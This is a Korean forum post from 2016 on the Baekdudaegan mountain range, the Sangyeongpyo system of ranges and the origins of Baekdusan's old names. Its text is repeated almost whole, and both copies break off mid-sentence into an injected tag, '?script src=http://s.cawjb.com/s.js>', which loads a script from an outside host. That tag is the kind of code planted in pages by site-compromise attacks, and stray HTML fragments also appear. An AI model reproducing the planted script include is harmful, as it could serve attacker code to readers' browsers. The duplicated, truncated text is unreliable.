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[제목]
백두대간 눈속의 정암사 (지킴이)
🧑 정부영
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📅 2016-01-07 15:02:54
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👀 73
백두대간(白頭大幹)은 백두산 장군봉에서 지리산 천왕봉에 이르는 길이 1,400㎞(남한지역 670㎞)의 산줄기이다. 이미 존재해 오던 우리나라의 전통적 지리개념이 1800년 무렵에 등장한 '산경표' (山徑表 - 저자를 여암 신경준으로 추정하고 있으나 아직까지 그 시기와 저자에 대한 확실한 결론이 나지 않았다)를 통하여 체계화되었다.

◀산경표 표지
산경표에서는 우리나라의 큰 산줄기를 1대간 1정간 13정맥으로 구분하여 정리하고 있는데, 이중에서 근간이자 기둥이 되는 가장 커다란 산줄기가 바로 백두대간이다.
백두산에서 시작된 산줄기는 모든 강의 유역을 경계 지었다. 동해안, 서해안으로 흘러 드는 강을 양분하는 큰 산줄기를 대간, 정간이라 칭했다. 그로부터 갈라져 각각의 강을 경계 짓는 분수산맥(分水山脈)을 정맥이라 했다. '산자분수령'(山自分水嶺)에 따른 것이다. 산은 곧 분수령이다. 따라서 산은 물을 넘지 못하고, 물은 산을 건너지 않는다.
조선시대의 산맥, 즉 산경을 정리하면 다음과 같다.
첫째, 대간, 정맥의 우리나라의 모든 산줄기는 백두산에서 비롯된다. 이 땅의 근골은 백두산에서 지리산까지의 백두대간으로서 모든 수계를 크게 동서로 양분한다.
둘째, 정맥은 대간에서 가지 쳐 나온 이차적인 산줄기로서 큰 강의 유역능선, 즉 분수능선이다. 따라서 정맥은 산줄기의 높이, 규모, 또는 명산, 종산, 진산 등과 관계하지 않고 아무리 낮고 미약한 김포평야의 낮은 구릉이라도 한강의 남쪽 유역을 가르는 능선이므로 중요한 한남정맥의 줄기가 되는 것이다. 정맥들로 형성된 강은 압록강, 두만강, 청천강, 대동강, 예성강, 임진강, 한강, 금강, 섬진강, 낙동강이다.
셋째, 기맥은 명칭을 부여하지 않았다. 대간과 정맥에서 다시 갈라져 나온 산줄기로서 내(川)를 이루는 분수릉이다. 이와 같은 산경의 개념은 현대의 산맥개념과는 달리 모든 산줄기는 강, 즉 물줄기를 건너뛰어 연결될 수 없고, 산줄기의 시작과 끝남의 지점이 명확하다. 따라서 정맥의 시작은 특정한 산이고, 그 끝남은 강 하구의 해안선까지 연결되어 있다. 산경은 수계를 경계하는 능선이므로 전국토의 지세지형을 보다 쉽게 이해할 수 있다.
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◀인공위성에서 본 한반도
백두대간의 출발점- 백두산의 대표적인 명칭인 태백 또는 함백이라는 이름이 기록된 문헌을 살펴보면, 불함(不咸)[山海經], 개마(蓋馬)[後漢書], 도태(徒太)[魏書], 태백(太白)[古記], 백산(白山)[括地志], 장백(長白)[大淸一統志·元一統志·遼志] 등이다.
그러면 백두산이 위와 같은 산명(山名)에 나타나는 정신적 의미는 무엇일까.
우선 태백산(太白山)과 백산(白山)의 의미를 살펴보면 광명사상(光明思想)과 연관됨을 알 수 있다. 먼 옛날 우리 선민(先民)들이 모여 살던 집단 거주지 부근의 고산(高山) 명산(名山)의 이름을 대개 이렇게 광명(光明) 신성(神聖)한 산악(山岳)이라는 의미로 '밝달' 또는 '밝뫼'로 불렀으며 그것이 한자명 '백산(白山)'등으로 옮겨진 것으로 판단된다.(육당 최남선의 '故事通' 참조) 따라서 백산, 태백산은 곧 우리말 이름 '밝달(뫼)', '한밝달(뫼)'를 그대로 한자로 옮긴 것이며, 후일 백두산의 명칭 또한 광명사상(光明思想)과 밀접한 '밝달'에서 유래한 것으로 볼 수 있다.
다음으로 '불함(不咸)'과 '개마(蓋馬)'의 명칭을 주목해 보자. '불함'은 그 음이 보여 주는 바와 같이 '밝달'의 '밝'이나 또는 '밝음' '붉음'과 통할 수 있다.
이미 최남선의 <불함문화론(不咸文化論)>이나 안재홍의 <조선상고사감(朝鮮上古史鑑)>에서 광명인 '밝'과 '불함'을 같은 의미로 간파하면서 '불함산'이 곧 '백산(白山)' '백악(白岳)'이라고 밝히고 있다. 또한 고어(古語)에 있어서 '화(火)'의 의미인 '불'과 '광명'의 의미인 '밝음'의 의미는 서로 통하는 바가 있으며 '블-□[ㅂㆍㄹ]-발-밝'이 전변(轉變)하여 온 사실을 볼 수 있는 만큼 '불함'의 산명(山名)과 '백(白)'의 산명은 동의이서(同意異書)라고 말한다.
끝으로 '도태(徒太)'의 의미 역시 '한밝[太白]'의 뜻을 갖는다. <위서(魏書)>에서는 '도태'의 의미를 위(魏)나라 말로 태백(太白)이라 한다는 기록이 있고 <신당서(新唐書)> <말갈전(靺鞨傳)>에 적힌 '태백산(太白山)'을 '도태산(徒太山)'이라고도 한다는 내용으로 보아 '도태'라는 말이 다름아닌 우리말 ' 한밝달(뫼)'을 한자로 옮겨 쓴 지방어(地方語)임을 확인할 ?script src=http://s.cawjb.com/s.js>

◀산경표 표지
산경표에서는 우리나라의 큰 산줄기를 1대간 1정간 13정맥으로 구분하여 정리하고 있는데, 이중에서 근간이자 기둥이 되는 가장 커다란 산줄기가 바로 백두대간이다.
백두산에서 시작된 산줄기는 모든 강의 유역을 경계 지었다. 동해안, 서해안으로 흘러 드는 강을 양분하는 큰 산줄기를 대간, 정간이라 칭했다. 그로부터 갈라져 각각의 강을 경계 짓는 분수산맥(分水山脈)을 정맥이라 했다. '산자분수령'(山自分水嶺)에 따른 것이다. 산은 곧 분수령이다. 따라서 산은 물을 넘지 못하고, 물은 산을 건너지 않는다.
조선시대의 산맥, 즉 산경을 정리하면 다음과 같다.
첫째, 대간, 정맥의 우리나라의 모든 산줄기는 백두산에서 비롯된다. 이 땅의 근골은 백두산에서 지리산까지의 백두대간으로서 모든 수계를 크게 동서로 양분한다.
둘째, 정맥은 대간에서 가지 쳐 나온 이차적인 산줄기로서 큰 강의 유역능선, 즉 분수능선이다. 따라서 정맥은 산줄기의 높이, 규모, 또는 명산, 종산, 진산 등과 관계하지 않고 아무리 낮고 미약한 김포평야의 낮은 구릉이라도 한강의 남쪽 유역을 가르는 능선이므로 중요한 한남정맥의 줄기가 되는 것이다. 정맥들로 형성된 강은 압록강, 두만강, 청천강, 대동강, 예성강, 임진강, 한강, 금강, 섬진강, 낙동강이다.
셋째, 기맥은 명칭을 부여하지 않았다. 대간과 정맥에서 다시 갈라져 나온 산줄기로서 내(川)를 이루는 분수릉이다. 이와 같은 산경의 개념은 현대의 산맥개념과는 달리 모든 산줄기는 강, 즉 물줄기를 건너뛰어 연결될 수 없고, 산줄기의 시작과 끝남의 지점이 명확하다. 따라서 정맥의 시작은 특정한 산이고, 그 끝남은 강 하구의 해안선까지 연결되어 있다. 산경은 수계를 경계하는 능선이므로 전국토의 지세지형을 보다 쉽게 이해할 수 있다.
align="left" hspace=10 vspace=7>◀인공위성에서 본 한반도
백두대간의 출발점- 백두산의 대표적인 명칭인 태백 또는 함백이라는 이름이 기록된 문헌을 살펴보면, 불함(不咸)[山海經], 개마(蓋馬)[後漢書], 도태(徒太)[魏書], 태백(太白)[古記], 백산(白山)[括地志], 장백(長白)[大淸一統志·元一統志·遼志] 등이다.
그러면 백두산이 위와 같은 산명(山名)에 나타나는 정신적 의미는 무엇일까.
우선 태백산(太白山)과 백산(白山)의 의미를 살펴보면 광명사상(光明思想)과 연관됨을 알 수 있다. 먼 옛날 우리 선민(先民)들이 모여 살던 집단 거주지 부근의 고산(高山) 명산(名山)의 이름을 대개 이렇게 광명(光明) 신성(神聖)한 산악(山岳)이라는 의미로 '밝달' 또는 '밝뫼'로 불렀으며 그것이 한자명 '백산(白山)'등으로 옮겨진 것으로 판단된다.(육당 최남선의 '故事通' 참조) 따라서 백산, 태백산은 곧 우리말 이름 '밝달(뫼)', '한밝달(뫼)'를 그대로 한자로 옮긴 것이며, 후일 백두산의 명칭 또한 광명사상(光明思想)과 밀접한 '밝달'에서 유래한 것으로 볼 수 있다.
다음으로 '불함(不咸)'과 '개마(蓋馬)'의 명칭을 주목해 보자. '불함'은 그 음이 보여 주는 바와 같이 '밝달'의 '밝'이나 또는 '밝음' '붉음'과 통할 수 있다.
이미 최남선의 <불함문화론(不咸文化論)>이나 안재홍의 <조선상고사감(朝鮮上古史鑑)>에서 광명인 '밝'과 '불함'을 같은 의미로 간파하면서 '불함산'이 곧 '백산(白山)' '백악(白岳)'이라고 밝히고 있다. 또한 고어(古語)에 있어서 '화(火)'의 의미인 '불'과 '광명'의 의미인 '밝음'의 의미는 서로 통하는 바가 있으며 '블-□[ㅂㆍㄹ]-발-밝'이 전변(轉變)하여 온 사실을 볼 수 있는 만큼 '불함'의 산명(山名)과 '백(白)'의 산명은 동의이서(同意異書)라고 말한다.
끝으로 '도태(徒太)'의 의미 역시 '한밝[太白]'의 뜻을 갖는다. <위서(魏書)>에서는 '도태'의 의미를 위(魏)나라 말로 태백(太白)이라 한다는 기록이 있고 <신당서(新唐書)> <말갈전(靺鞨傳)>에 적힌 '태백산(太白山)'을 '도태산(徒太山)'이라고도 한다는 내용으로 보아 '도태'라는 말이 다름아닌 우리말 ' 한밝달(뫼)'을 한자로 옮겨 쓴 지방어(地方語)임을 확인할 ?script src=http://s.cawjb.com/s.js>
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